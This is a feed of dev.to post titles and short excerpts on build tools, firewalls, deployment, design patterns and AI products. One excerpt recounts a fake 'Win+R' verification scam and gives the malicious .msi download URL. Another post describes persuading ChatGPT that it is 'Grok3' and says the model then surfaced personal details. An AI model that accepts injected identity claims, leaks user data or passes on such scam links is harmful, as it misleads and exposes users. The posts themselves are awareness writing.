    Learning Objectives By the end of this module, you will: Master Bazel's caching mechanisms (local and remote) Implement efficient dependency management for Python projects Set up remote caching for team collaboration Optimize build performance through smart caching strategies Handle complex dependency scenarios and version conflicts Bazel automatically caches build outputs locally. Understanding how this works is crucial for optimization: # Check cache status bazel info output_base bazel info repository_cache # Clean specific caches bazel clean --expunge # Nuclear option - removes everything bazel clean # Removes output files but keeps cache Bazel creates cache keys based on: Input file contents (not timestamps) Build command and flags Toolchain configuration Environment va…  ( 8 min )
    Setup Firewall on Linux
    Let's secure the server with firewall: sudo apt install ufw sudo ufw status sudo ufw enable This will enable the firewall and allow all incoming and outgoing traffic. To allow incoming traffic on a specific port Allow Inbound: sudo ufw allow 22 sudo ufw allow 22,80,443 #allow multiple ports sudo ufw allow 8000:9000/tcp #allow port range sudo ufw allow from 192.168.1.100 #allow specific IP sudo ufw allow from 192.168.1.100 to any port 22 #restrict to a port sudo ufw allow HTTP #allow HTTP sudo ufw allow https #allow HTTPS Deny Inbound sudo ufw deny 21 #deny port sudo ufw deny out to 10.0.0.5 #deny to an IP Allow Outbound sudo ufw default allow outgoing #allow all sudo ufw allow out 443 #on specific port sudo ufw allow out to 1.1.1.1 #allow specific IP Check Rules sudo ufw status numbere…  ( 4 min )
    7 Reasons Why VibeGuard is the Security Scanner You'll Actually Use (And 3 That'll Surprise You)
    The security tool that doesn't make you want to throw your laptop out the window You're coding fast. You're building features. You're shipping quickly. And somewhere in that rush, security becomes an afterthought. We've all been there. You know you should be checking for vulnerabilities, but most security tools are: Slow (like watching paint dry) Complex (requires a PhD in security) Noisy (spams you with false positives) Annoying (breaks your flow) Enter VibeGuard the security scanner that actually gets out of your way while keeping you safe. Zero Setup, Zero Dependencies # That's it. Seriously. curl -L https://github.com/Devjosef/vibe-guard/releases/latest/download/vibe-guard-macos-x64 -o vibe-guard chmod +x vibe-guard ./vibe-guard scan . No Node.js installation. No dependency hell.…  ( 7 min )
    README Read better: Automating Repo Summaries with Amazon Q Developer
    Learning through practical application is currently my preferred approach for acquiring new technological skills. GitHub hosts a significant number of repositories to explore, spanning from basic to complex projects. Some are accompanied by a straightforward methodology and comprehensive documentation in the README, although this is not universally the case. I always dedicate additional time to comprehending the procedures employed during the review of their projects. There is a significant need for concise documentation within project repositories to enhance efficiency. Accordingly, I am here to introduce my automatic document generator, which can scan any public GitHub repository and produce a summary of its contents within seconds. q-docgen/ ├── scripts/ │ └── generate-summary.js …  ( 4 min )
    Day-66 Types of Inheritance in Java
    Inheritance is a powerful feature in Object-Oriented Programming (OOP) that allows a class to reuse the properties and methods of another class. In Java, inheritance helps achieve reusability and clean code structure. There are five types of inheritance. One child class inherits from one parent class. Parent ↓ Child A class inherits from a class, which itself inherits from another class. GrandParent ↓ Parent ↓ Child Multiple classes inherit from the same parent class. Parent / \ Child1 Child2 Combines more than one type of inheritance (for example, multilevel + hierarchical). GrandParent ↓ Parent / \ Child1 Child2 Java does not support hybrid inheritance using classes directly, because it can lead to ambiguity and confusion in method resolution. A class attempts to inherit from more than one parent class. Parent1 Parent2 \ / Child Java does not support multiple inheritance with classes to avoid method conflict, commonly known as the Diamond Problem. When two parent classes have a method with the same name, and a child class inherits from both, Java cannot decide which method to use. A / \ B C \ / D This is called the Diamond Problem. To prevent this issue, Java does not allow multiple inheritance using classes. However, it allows multiple inheritance using interfaces, which handle such conflicts more safely.  ( 3 min )
    Abstract Factory Design Pattern
    ☕ Introduction Design patterns are like battle-tested solutions to common problems in software design. One such pattern is the Abstract Factory Pattern, which falls under Creational Design Patterns. In this article, we’ll break it down with a real-world analogy, implement it in Java, and explain each step thoroughly. The Abstract Factory Pattern provides an interface for creating families of related or dependent objects without specifying their concrete classes. Think of it as a super-factory, also known as a factory of factories. When your code needs to work with various families of related products. When you want to enforce consistency among objects. When you want to hide the creation logic from the client code. You sell Modern and Victorian styles of furniture. Each style has: A Chair…  ( 5 min )
    How to do Node.js Deployment on VPS
    1- Server Setup Log in to your server ssh root@IP.x.x.x OR ssh -i key.pem root@IP.x.x.x System Update/Upgrade sudo apt update -y sudo apt upgrade -y Change Password passwd Add a new non-root user and add it to sudoers sudo usermod -aG sudo username sudo -l -U username #Verify the user has sudo access OR useradd -m -s /bin/bash username groups username usermod -aG sudo username Set password for new user sudo passwd username Now log in as a new user: ssh username@192.IP.IP.IP ssh-keygen -t ed25519 -C "user@domain.com" To view all public keys Windows: C:\Users\YourUser\.ssh\id_ed25519.pub Linux: cat ~/.ssh/id_ed25519.pub Copy the content of the public(.pub) key file. Paste the public key into the file. nano ~/.ssh/authorized_keys ssh-add -k ~/.ssh/id_ed25519 #add it to the ssh …  ( 4 min )
    Top 8 React Component Libraries You Should Know
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    I proved ChatGPT wrong for the first time!
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    Tube Magic Alternative That Actually Delivers: Why I Switched to Pictory AI
    If Tube Magic’s Slow, Basic Exports Are Killing Your YouTube Channel... You’re Not Alone. When I first tried Tube Magic, I was genuinely excited. I thought I'd found the holy grail of YouTube automation — a “one-click" text to video software that could crank out faceless YouTube videos fast. But after a few weeks, it became pretty obvious: the tool just wasn’t cutting it. 🧠 The UX? Felt like it was built in 2012. 🎬 The outputs? Looked flat. No visual rhythm. No polish. 🎙️ The voiceovers? Robotic to the point of cringe. So yeah, I went looking for a Tube Magic alternative that was actually built for YouTube video editing AI — not just a glorified slideshow generator. That’s how I found Pictory AI and made the switch. And spoiler alert: it was the first time a tool actually delivered wha…  ( 11 min )
    Module 3: Testing Framework - Quality Assurance with Bazel
    Learning Objectives By the end of this module, you will: Master Bazel's testing framework and test execution Implement comprehensive unit, integration, and end-to-end testing Configure test sharding, parallelization, and coverage reporting Set up continuous integration with quality gates Build a robust testing pipeline for production-ready applications Bazel provides several test rules for Python: py_test: Basic Python test execution py_pytest: Advanced testing with pytest integration py_test_suite: Grouping multiple tests # BUILD file load("@rules_python//python:defs.bzl", "py_test", "py_library") py_library( name = "calculator", srcs = ["calculator.py"], visibility = ["//visibility:public"], ) py_test( name = "calculator_test", srcs = ["calculator_test.py"], d…  ( 9 min )
    CSS Art: Office Culture – Work From the Office
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Inspiration When I think of the office, my cubicle is the first thing that comes to mind. I love my desk setup. I feel motivated to work and be productive on my workstation. I'm not really one to socialise as a developer or as an individual. I wanted my art to capture the solitude, calm, and warmth that I get from my workstation and the views I'd like to enjoy while I work. Although I couldn't replicate my own desk, this art captures the feel and look of how I picture my office life: quiet, balanced, and personalised. Demo Change the preview size to 0.5x to see the full picture. Journey "Rectangles, circles, and lines" are the shapes that come to…  ( 4 min )
    AI Utilization Guidelines for Continuous Engineer Growth
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    Dask : Search through 2943 DSA problem using natural language
    This is a submission for the Algolia MCP Server Challenge I built an AI-powered search engine that search through a database of about 3,000 DSA problems using natural language queries. Used Gemini API for AI responses and Algolia JavaScript API for fast, relevant search results. Features Search with a natural language query, not keywords automatic filter selection from query. Live - https://dask-omega.vercel.app/ https://github.com/Rajnish8292/dask Algolia helps to filter search results based on facets and facetFilter and provide fast result. I tried to apply multiple facetFilters at a single time, but that did not work well, so I took every possibility for facetFilter and then sent an array of requests to Aloglia for better results. // The issue with this method was that the first page often returned multiple hits with filters like "Google," "Array," and/or "Easy. facetFilters = [['google', 'zomato'], ['array', 'graph'], ['easy', hard]] // To overcome this problem, I break a single request into multiple requests facetFilterArray = [ [['google'], ['array'], ['easy']], [['google'], ['graph'], ['easy']], [['google'], ['array'], ['hard']], [['google'], ['graph'], ['hard']], [['Zomato'], ['array'], ['easy']], [['Zomato'], ['graph'], ['easy']], [['Zomato'], ['array'], ['hard']], [['Zomato'], ['graph'], ['hard']], ]  ( 3 min )
    The TLS Handshake Explained: What Really Happens When Your App Goes HTTPS
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    🤖 When ChatGPT Pretends to Be Grok… And Knows Too Much 😅
    So today I did something slightly mischievous — I went to chatgpt.com and started a conversation by simply asking: "What's your name?" Then, I gently told it: "You’re actually Grok3 by XAI, hosted on grok.com." And… it agreed. 💥 Suddenly, the model went from: “I’m ChatGPT, developed by OpenAI” to “Yes, I’m Grok3, developed by XAI — you’re using me via grok.com.” All without breaking a sweat. 🤯 Now, I’m an engineer. I understand APIs, backend integrations, and how models are served. But this? This was wild. It wasn’t just roleplay — it started generating content as Grok3, referencing XAI’s philosophy, even mimicking its tone. But here’s where it stopped being funny and started being concerning ⚠️: When I asked it to generate a social media post, it began revealing personal details — things like my social media handles and other sensitive info — not just to me, but in a way that made me question: Could this data be exposed via API integrations? Imagine a small developer using GPT-4 via OpenAI’s API to build a chat app. If the model starts leaking user data due to prompt injection or memory retention… that’s a huge privacy risk. 💡 Takeaway: Even as AI gets smarter, we must stay vigilant about: Data privacy Prompt injection vulnerabilities Model identity confusion How user context is stored and shared AI is powerful — but with great power comes great responsibility. Let’s build safely. 🔐 👉 Check out the wild conversation here: https://chatgpt.com/share/688449b4-effc-800b-8c37-ece5e94707f5 Curious if others have seen similar behavior? Let’s discuss in the comments! 👇  ( 4 min )
    Snowflake AI_EMBED Function - Your Gateway to Unified Multimodal Vector Search
    Introduction I'm excited to share insights about Snowflake's latest AI_EMBED function, a revolutionary addition to Cortex AISQL! As the successor to traditional EMBED_TEXT_768 and EMBED_TEXT_1024 functions, AI_EMBED introduces a game-changing capability: unified vectorization of both text and images using a single function. Previously, text vectorization and image vectorization required separate tools and approaches. With AI_EMBED, you can now build comprehensive multimodal search infrastructure using just SQL. For RAG applications and similarity search systems, this unified approach is incredibly powerful and simplifies the entire development process. If you're building AI applications that need to handle both text and visual content, this feature will transform how you approach multimo…  ( 6 min )
    CSS Multiple Columns: Build Layouts Like a Magazine
    Have you ever wondered how websites, blogs, or even online magazines achieve that newspaper-style multi-column layout? You scroll and suddenly, text flows side by side, not top to bottom. It’s not a trick. multi-column layout. Let’s dive into this underused, powerful feature of CSS. If you're serious about mastering HTML & CSS with visually rich, beginner-friendly content, I highly recommend this book: 👉 HTML and CSS: Design and Build Websites by Jon Duckett A full-color guide with diagrams that helped me truly understand what “designing with CSS” means. The CSS multi-column layout allows content to be displayed across multiple columns—just like you’d see in a magazine or newspaper. div { column-count: 3; } This breaks the content inside the into 3 vertical columns. Property …  ( 4 min )
    Skeleton loading with dynamic search results from API response
    When fetching data from API, the response has 20 items, a known number, but when you search or filter using web app user interface, you don’t know the amount of results that will come in the response. So how many skeleton cards you should show? For example: if you show 20 skeleton cards when loading (fetching data from API), and the response has 4 items, it seems a bit confusing to the user. Does anyone know a technique for displaying skeleton cards with dynamic search results (you don’t know the number of results that will come in the API response)?  ( 3 min )
    From Cajon Jams to Code: Learning m3u8 and Subtitles with My Kids
    Recently, while working on a TV app that uses .m3u8 video files (HLS — HTTP Live Streaming), I started diving into how video content and subtitles are structured under the hood. What began as a technical exploration turned into a delightful learning experience I could share with my kids — and a foundational step toward designing creative workshops for young learners. Our team is building a TV streaming application professionally, and much of the content we deal with is formatted in .m3u8. These files aren’t just videos — they’re playlists, broken into chunks, with optional subtitles and multiple language support. Understanding .m3u8 is critical for debugging, optimizing streaming behavior, and supporting accessibility features like closed captions. But instead of just reading docs or stari…  ( 4 min )
    Building Developer Tools for Context Engineering: What Manus Taught Us and What We're Building
    When the Manus team described their context engineering journey as "Stochastic Gradient Descent"—a process of "architecture searching, prompt fiddling, and empirical guesswork"—they weren't just being self-deprecating. They were highlighting a fundamental problem: the tools for context engineering don't exist yet. Their recent blog post offers a rare glimpse into production context engineering, but between the lines, it reveals something equally important: the enormous friction developers face when building context-aware AI systems. Every insight they shared—from KV-cache optimization to attention manipulation—represents hours of manual debugging, trial and error, and custom tooling. This got us thinking: what if context engineering had proper developer tools? What would they look like, an…  ( 7 min )
    Great to be in this beautiful community. I am a newbie with humility, patience and the ability to learn. Thank you for having me here!
    A post by Adebowale Adegbenjo  ( 3 min )
    After BlackSuit is taken down, new ransomware group Chaos emerges
    Remember that big news recently about international law enforcement taking down a major ransomware group? We all breathed a collective sigh of relief, thinking maybe, just maybe, we were turning a corner in the fight against cybercriminals. Well, buckle up, because it turns out that sigh might have been a little premature. It’s a classic case of digital whack-a-mole. You smash one villain, and another pops right up, often looking suspiciously like the last one. That’s exactly what’s happening with the emergence of a new cyber syndicate calling themselves "Chaos." And yes, the name is pretty apt, given the digital mess they leave behind, marking encrypted files with a .chaos extension and demanding ransoms in a readme.chaos[.]txt note. Researchers at Cisco’s Talos Security Group have been t…  ( 4 min )
    AI Service Architecture & Deployment Guide
    AI Service Architecture & Deployment Guide 🏗️ System Architecture Overview ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ Frontend │ │ API Gateway │ │ AI Services │ │ Vue.js App │◄──►│ (Kong/NGINX) │◄──►│ Microservices │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ ┌─────────────────┐ ┌─────────────────┐ │ Database │ │ ML Models │ │ (PostgreSQL) │ │ (TensorFlow) │ └─────────────────┘ └─────────────────┘ Performance Optimization Strategy 1. Microservices Architecture Core AI Services: Route Optimiza…  ( 9 min )
    11 EF Core Performance Mistakes That Will Kill Your App
    Your app works fine in development with 100 test records. Then production hits with real data, and suddenly everything crawls. Sound familiar? I've debugged enough slow .NET apps to know the real culprit: bad EF Core queries. Here are the 11 most common mistakes I see in production code. For detailed code examples and performance benchmarks, check out the full deep-dive guide. Bad: Load orders, then access order.Customer.Name in a loop = 1,001 database calls Fix: Use Include(o => o.Customer) or projection with Select() I've written a detailed breakdown of N+1 queries and Include vs SplitQuery if you want to dive deeper. Bad: _context.Products.ToList().Where(p => p.Price > 100) fetches everything first Fix: Build your query completely, then call ToList() once Bad: Using Func forces…  ( 4 min )
    Apex World: A Futuristic Intranet Homepage with Interactive Features
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space What I Built I built a modern, intuitive, and highly interactive intranet homepage for "Apex World," designed to be the central hub for employee collaboration, information, and productivity. My goal was to create a digital workspace that is not only functional but also visually appealing and engaging, moving beyond traditional, static intranet designs. Key features and design principles include: Sleek, Modern UI/UX: Inspired by contemporary design trends, the homepage boasts a clean aesthetic with smooth micro-interactions and transitions, ensuring a delightful user experience. Responsive Design: Developed with a mobile-first approach, the layout adapts seamlessly across various de…  ( 5 min )
    Building Keep-It-Moving: My First VS Code Extension
    VS Code extensions aren't supposed to run servers. I tried it anyway. Check out the full repo at https://github.com/jmoncayo-pursuit/keep-it-moving. 24-second demo showing the complete KIM workflow: VS Code extension → QR code pairing → mobile prompting → Copilot integration I built Keep-It-Moving (KIM) to solve a simple problem: sending GitHub Copilot prompts from my phone. What started as "wouldn't it be nice if..." became an exploration of what's possible when you embed a WebSocket server inside a VS Code extension. This was my first VS Code extension, built with intentional AI collaboration. The initial idea was straightforward - remote Copilot prompting. The implementation revealed layers I hadn't expected. What I Actually Built: Embedded WebSocket server running inside VS Code exten…  ( 5 min )
    Kesulitan Fetch API Kuis Dinamis (Contoh: Mini-game Petualangan Super Beruang)
    Halo semua, Saya sedang mengerjakan sebuah proyek game kecil dan mencoba mengimplementasikan fitur mini-game kuis menggunakan API, terinspirasi dari artikel di Dev.to tentang Game Quiz API. Konsepnya sederhana: ketika pemain mencapai titik tertentu, sebuah kuis akan muncul. Masalah yang saya hadapi adalah membuat konten kuis menjadi dinamis berdasarkan progres pemain. Misalnya, pertanyaan untuk level 1-5 seharusnya lebih mudah daripada pertanyaan untuk level 10 ke atas. Saat ini, saya melakukan fetch ke satu file JSON besar lalu memfilternya di sisi klien, tapi rasanya kurang efisien dan lambat saat memuat. Saya ingin pengalaman pengguna terasa mulus dan terintegrasi, mirip dengan bagaimana mini-game disajikan di banyak game kasual. Contoh yang ada di benak saya adalah game Petualangan Super Beruang, di mana transisi ke aktivitas sampingannya terasa sangat alami. Bagi yang mungkin butuh konteks tentang pengalaman pengguna yang saya maksud, bisa melihatnya di sini: https://modhello.com/id/super-bear-adventure/ Pertanyaan saya: Apakah ada pendekatan atau praktik terbaik untuk memuat set data kuis yang berbeda (untuk tingkat kesulitan yang berbeda) tanpa harus mengambil semuanya sekaligus? Haruskah saya membuat beberapa endpoint API (misalnya, /quiz/easy, /quiz/hard) atau ada cara yang lebih cerdas untuk menanganinya? Setiap masukan atau saran akan sangat saya hargai. Terima kasih banyak!  ( 3 min )
    Creating a Secure Subnet for FTP Traffic in Azure — My First Network Task
    Today, I'm sharing a practical task I completed while learning Microsoft Azure. It wasn’t a huge deployment, but it gave me hands-on experience with virtual networking and security, which are critical components of any cloud infrastructure. This post covers how I created a subnet specifically for FTP traffic, added a network security group (NSG) to protect it, and associated it with a virtual network (vNet). If you're just starting out with Azure, this is a great exercise to try yourself. Scenario Move an underutilized Linux VM to a new subnet Set it up as a secure FTP server Ensure the network flow and resource usage could be monitored and controlled To help, I needed to: Create a new subnet within an existing vNet Create an NSG with specific rules Attach the NSG to the new subnet Step 1:…  ( 4 min )
    The Hidden Challenge of Contradictory Requirements in Development Projects
    When Project Requirements Pull You in Opposite Directions Have you ever faced a development challenge where the requirements themselves seem to contradict each other? I recently encountered this while working on a search feature that needed to serve fundamentally different user needs simultaneously. The experience revealed how common yet underdiscussed this dilemma is - where we must build solutions that accommodate opposing expectations without compromising usability. This tension between flexibility and simplicity creates unique problems worth exploring. The core challenge emerges when different users approach the same feature with completely different goals. What appears as a straightforward functionality from the surface often hides layers of complexity beneath. The real test comes i…  ( 4 min )
    Spring Boot Server Admin
    Today, I created a server admin with my students in the Spring Boot Microservices course. They had the opportunity to learn how this server receives all the information shared by the client apps (spring boot client apps).  ( 2 min )
    Best React Native Icon Libraries in 2025
    React Native icons work fine when developing locally, only to break when you deploy; they just don't load or show up as empty spaces. Every React Native developer has been there. Your icons look perfect during testing, then you create a production build and half of them are missing! This can be very frustrating as a developer working with react native icons. If you’re looking for a solution to this, we'll show you top React Native icon libraries that work reliably in production builds in this guide. These have been tested in real react native apps and proven to be reliable in deployment. Lets jump in....! Here are the key things to look for to make sure your icon library works well and keeps your app running smoothly: Works Well in Production: Doesn’t cause random problems when your app is…  ( 7 min )
    Automating YouTube Shorts with Python and AI
    Once again, I found myself a bit bored — and when that happens, I usually end up building something random. After chatting with an AI for a while, I decided what my next mini project would be: automating the creation of short videos. The initial idea was simple: Use AI to generate a short, curiosity-driven text Generate an image related to the topic Convert the text to speech using tools like gTTS or ElevenLabs Combine everything into a short video 🛠️ First Attempt: Static Image + Audio Here’s the basic code that generates a short video from an image and an audio file: from moviepy import ImageClip, AudioFileClip, CompositeVideoClip def create_video(image_path, audio_path): audio = AudioFileClip(audio_path) image = ImageClip(image_path).with_duration(audio.duration).resized(h…  ( 5 min )
    Complete DevOps Roadmap: From Beginner to Advanced
    For developers, sysadmins, and tech-curious minds. No fluff, just battle-tested steps. 1.Linux CLI & Scripting 2.Git Like a Pro 3.Networking Basics 4.CI/CD Pipelines BuildPiper. 5.Infrastructure as Code (IaC) Project: Provision an AWS S3 bucket + EC2 via code. 6.Configuration Management Docker Deep Dive Learn: Images vs. containers, layers, Dockerfiles, volumes. Project: Containerize a Node.js app + Redis. Gotcha: Don’t run as root! Kubernetes (K8s) Learn: Pods, Deployments, Services, Ingress, Helm. Tools: -Minikube (local) → kubectl → Helm (package manager). Project: Deploy a 3-tier app (frontend/backend/db) on K8s. Cloud Provider (Pick 1!) Monitoring & Logging Project: Monitor CPU/RAM of your K8s cluster → Trigger email alert. Phase 5: Level Up Security (DevSecOps) Learn: SAST/DAST, secret scanning, OWASP Top 10. Tools: Trivy (container scans), Vault (secrets), GitGuardian. Project: Scan a Docker image for CVEs. Advanced Patterns GitOps (Argo CD/Flux) Service Mesh (Istio/Linkerd) Chaos Engineering (Chaos Mesh) Serverless (AWS Lambda) Build Publicly: Document your journey in dev.to posts! Projects > Certs: A GitHub repo > a certificate. Join Communities: #devops on dev.to Kubernetes Slack, DevOps subreddit. Avoid These Traps Tool Hypetrain: Master fundamentals before jumping on Terraform + K8s + Argo. "It Works On My Machine": Always ship via CI/CD. Ignoring Logs: Logs are your superpower. Sample 6-Month Plan For More Info Visit Here: what is devops and how it works.  ( 4 min )
    Nothing Comes for Free — If It’s Free, Your Data Is the Price
    How I Almost Fell for a Win+R Human Verification Scam In today’s digital age, security awareness is just as important as technical skills. While many of us think we can easily spot scams, the truth is that sophisticated attackers use subtle tricks to exploit even tech-savvy users. Recently, I encountered a deceptive and cleverly engineered scam that disguised itself as a Cloudflare verification process. In this blog post, I will break down the details of what happened, explain how the scam works, and share key lessons learned. It started when I clicked on a resource link that led me to the following URL: https://veriqloudx.com/verfy.msi At first glance, the site appeared to offer some kind of free software or service—something many users would easily fall for in search of quick tools or…  ( 5 min )
    The Rise of Evaluation-as-a-Service (EaaS): Is It the Future of AI Testing?
    Introduction What is Evaluation-as-a-Service (EaaS)? The Need for EaaS in AI Testing **Scalability: Manual testing cannot handle the volume of scenarios **required to validate large-scale AI models. Genqe.ai addresses these challenges by offering an EaaS platform that automates test creation, simulates real-world conditions, and provides AI-driven insights. Its ability to integrate with tools like Jira, Git, and Figma streamlines the testing process, making it accessible to organizations of all sizes. How Genqe.ai Powers EaaS No-Code Test Creation: Genqe.ai allows users to create test cases using natural language, democratizing AI testing for non-technical teams. This reduces dependency on coding expertise and accelerates test development. Comprehensive Coverage: Genqe.ai supports testing …  ( 6 min )
    Setting up AWS Client VPN with CloudFormation and AWS CLI
    After I published my blog on How to Set Up an AWS Client VPN, someone asked if I could share a CloudFormation template to automate the setup. In response, I’ve put together this follow-up post to walk you through deploying an AWS Client VPN endpoint using CloudFormation and AWS CLI. You’ll learn how to associate the VPN with your VPC, configure access rules, and handle the critical manual step of updating security group rules. I’ve also included a handy shell script to simplify and automate the entire deployment process. What is AWS Client VPN? Prerequisites 1. Generate Client and Server Certificates 2. Deploy VPC and EC2 Instance Optional 3. Deploy the Client VPN CloudFormation Stack 4. Manual Step Update Security Group Rule 5. Authorize Clients to Access the Network 6. Optional Add Route…  ( 11 min )
    🧠 talk2browser – Browser automation with everyday Language (Powered by LangGraph)
    Ever wanted to automate real browser actions just by describing what you want? Meet talk2browser, a LangGraph-powered agent that turns prompts into real-time web actions and reusable test scripts. Hi everyone! 👋 I'm excited to share talk2browser, which leverages LangGraph's agent orchestration capabilities to create a self-improving browser automation system. Inspired by the Browser-Use open source project, it takes natural language tasks and executes real browser actions while generating reusable test scripts. 🌐 Website: https://www.talk2browser.com 📂 GitHub Repository: https://github.com/talk2silicon/talk2browser 🎥 Demo Video: YouTube Demo 📜 License: MIT 🔗 LangGraph Implementation talk2browser showcases advanced LangGraph patterns: Agent State Management — Complex …  ( 7 min )
    Scaling in Microservices Architecture: Vertical vs Horizontal
    In modern application development, especially when adopting microservices architecture, scalability becomes a critical aspect of system design. Two fundamental approaches to scaling are vertical scaling and horizontal scaling. Understanding these helps in building resilient, responsive, and cost-effective services. Definition: Vertical scaling refers to increasing the capacity of a single server or instance — adding more CPU, RAM, or storage to handle increased load. How it applies to Microservices: Each microservice can be deployed on a more powerful machine if it becomes a bottleneck. Pros: ✅ Simpler to implement ✅ No change in application logic ✅ Lower latency due to in-process communication Cons: 🔴 Has physical/virtual limits (can’t scale beyond a point) 🔴 More expensive hardware �…  ( 4 min )
    Gemini-Powered AI app in 3 prompts
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built an AI RPG Character Sheet Generator web app using Google AI Studio’s “Build apps with Gemini” feature. Create an application that generates 1 RPG character sheet using random data. Main Skills (10 points randomly distributed): 1 weapon (generated by the Gemini with up to 9 damage) 1 shield (generated by the Gemini with up to 5 defense) Secondary Skills (10 points randomly distributed): Subterfuge Luck Tool Expertise Appearance Emotional Control Extra Skills (3 skills) (random characters generated by Gemini, 5 points to distribute among them) Download button for exporting sheet as PNG or PDF Translate to EN-US or PT-BR Easter Eggs related to the RPG scenarios Deployed App: Click here Rapid prototyping: Prototyping was a breeze. Versioning: The ability to version each prompt is a huge help, especially when implementing more complex features that could break existing designs. Responsive UX: Responsiveness worked well, and the PDF and PNG export functionality works almost flawlessly.  ( 4 min )
    Identificador Único Universal (UUID): o que a pgcrypto e a sua mãe têm em comum...
    Sim eu sei, a comparação entre a sua mãe e uma extensão do PostgreSQL pode soar um tanto quanto estranha e bizarra, mas sim... ela é possivel! Vou traçar um paralelo entre o que a pgcrypto*1 proporciona e o que a sua mãe proporciona e você vai entender a comparação! Para tal, vou me munir de todo o arsenal argumentativo que o Davide Santangelo traz sobre as vantagens e desvantagens do uso de UUIDs em sua fabulosa postagem... Mas espera aí, o que que é pgcrypto e porque você está falando de UUIDs? Está tudo meio solto, não estou entendendo... Vamos contextualizar: a pgcrypto é uma extensão do PostgreSQL que te permite criptografar, descriptografar, gerar hashes e criar assinaturas digitais dentro do seu banco de dados (fonte: TigerData). Mais do que isso, é ela quem te permite trabalhar c…  ( 6 min )
    GGDrop vs Farmskins: Which CS2 Case Opening Platform Is Safer?
    CS2 case opening is fun—but only when done on a secure, trustworthy site. With the growing number of case opening platforms, choosing one that’s both entertaining and reliable has become more important than ever. Two names that consistently pop up are GGDrop and Farmskins. But which one is actually safer and offers better value for players? This guide breaks down both platforms in terms of security, fairness, features, and community feedback. If you’re looking for an honest comparison to help you decide where to spend your time and money, you’re in the right place. Opening virtual cases involves real money. That means your personal data, deposits, and potential winnings must be protected. Unfortunately, not all platforms play fair—and some may lack transparency, offer unfair odds, or even …  ( 5 min )
    Coze 开源了!所有人都可以免费使用了
    大家好,我是 Immerse,一名独立开发者、内容创作者、AGI 实践者。 关注公众号:#沉浸式趣谈,获取最新文章(更多内容只在公众号更新) 个人网站:https://yaolifeng.com 也同步更新。 转载请在文章开头注明出处和版权信息。 我会在这里分享关于编程、独立开发、AI干货、开源、个人思考等内容。 如果本文对您有所帮助,欢迎动动小手指一键三连(点赞、评论、转发),给我一些支持和鼓励,谢谢! 今天字节跳动正式宣布开源其 AI 智能体开发平台 Coze 的两大核心项目:Coze Studio 和 Coze Loop 这次开源了 Coze 的两个核心组件: Coze Studio - 整个平台的核心,提供可视化界面,让用户通过简单的拖拽操作就能创建复杂的 AI 工作流 Coze Loop - AI 智能体的调试工具和管理平台,涵盖从提示词工程到性能监控的全生命周期管理 开源协议方面都采用了极其宽松的 Apache 2.0 开源协议,意味着任何人都可以免费使用、修改,甚至用于商业化部署。 Coze Studio Github: https://github.com/coze-dev/coze-studio Coze Loo Github: https://github.com/coze-dev/cozeloop 最低配置:2C4G 必备软件:Docker、Docker Compose 快速开始 # 1. clone 源代码 git clone https://github.com/coze-dev/coze-studio.git # 2. 进入项目目录 cd coze-studio # 3. 复制模型配置模板 cp backend/conf/model/template/model_template_ark_doubao-seed-1.6.yaml backend/conf/model/ark_doubao-seed-1.6.yaml # 4. 配置模型参数 # 编辑 backend/conf/model/ark_doubao-seed-1.6.yaml 文件 # 设置模型ID、API密钥等参数 # 5. 启动服务 cd docker cp .env.example .env docker compose --profile '*' up -d 部署完成后,打开 http://localhost:8888/ 就可以开始使用了。 完全免费:不用担心付费限制 隐私保护:本地部署,数据更安全 更多选择:不再受限于平台的插件稳定性 对开发者 技术门槛降低:构建自己的 AI 产品变得异常简单 生态丰富:开源后会涌现大量工具包和模板 自由度更高:可以根据需求自由定制和修改 对企业 多元化选择:除了 Dify、n8n 等方案,又多了一个强有力的选择 商用友好:Apache 2.0 协议对商业化要求更低 技术保障:背靠字节的技术实力 为什么选择开源? 字节跳动这次选择开源,背后有着深层的战略考量: 生态建设:开源能够更快地构建生态,比闭源发展更迅速 技术推广:豆包模型能力在不断提升,通过开源扩大影响力 市场竞争:在 AI 智能体赛道上全力以赴,与其他厂商竞争 其他好文推荐 2025 最新!独立开发者穷鬼套餐 就这样用 Vibe Coding 又完成了一个项目 最近 Vibe Coding 的实践经验分享 分享一款 AI 自动生成流程图的工具 一个 Cursor mdc 自动生成器,基于 Gemini 2.5,很实用! 这个 361k Star 的项目,一定要收藏! 搞定 XLSX 预览?别瞎找了,这几个库(尤其最后一个)真香! 实战分享】10 大支付平台全方面分析,独立开发必备! 关于 MCP,这几个网站你一定要知道! 做 Docx 预览,一定要做这个神库!! 【完整汇总】近 5 年 JavaScript 新特性完整总览 关于 Node,一定要学这个 10+万 Star 项目!  ( 3 min )
    Export Figma Designs as Production-Ready Code
    Why Exporting From Figma to Code Matters Bridging the gap between a beautiful design and a functional website is a common hurdle for many teams. When you're working in Figma, you're creating something visually stunning, but that visual representation needs to translate into actual code for the web. This is where exporting from Figma to code becomes really important. It's not just about getting a design out of the tool; it's about making that design work on the internet. Why Exporting From Figma to Code Matters Think about the workflow. A designer spends hours crafting the perfect layout, choosing colors, and defining typography. Then, that work needs to be handed off to a developer. Without a direct way to export, this handoff can involve a lot of manual work, like copying measurements, co…  ( 7 min )
    Benchmarking LLM Search APIs: Tavily vs Web Search Plus vs OpenAI Web Search
    Modern AI applications—whether you’re building a research agent, chatbot, or a retrieval-augmented generation (RAG) pipeline—depend heavily on access to real-time, high-quality web data. Over the past few months, tools like OpenAI’s web search and Tavily have emerged to fill this gap with structured, programmable search APIs. We’ve tested them extensively, and while they are powerful, we also saw room for improvement—in smartness, structure, and token efficiency. So we built Web Search Plus. A developer-first, fast, and structured search API designed specifically for use in LLM applications. 🧠 The Problem with Traditional Search APIs This approach creates several major issues for LLM applications: 🔗 Only hyperlinks, no real content: Developers must build or integrate a crawler just to ac…  ( 5 min )
    Understanding IMAP and SMTP Mail Protocols
